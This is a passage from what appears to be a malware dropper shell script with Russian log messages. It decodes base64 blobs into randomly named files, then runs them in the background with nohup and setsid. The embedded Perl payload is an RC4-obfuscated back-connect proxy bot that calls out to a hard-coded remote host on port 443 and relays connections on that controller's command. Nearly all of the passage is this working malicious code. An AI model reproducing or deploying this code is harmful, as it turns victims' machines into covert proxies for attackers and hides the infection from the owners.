ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #8 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #8 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 9 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs 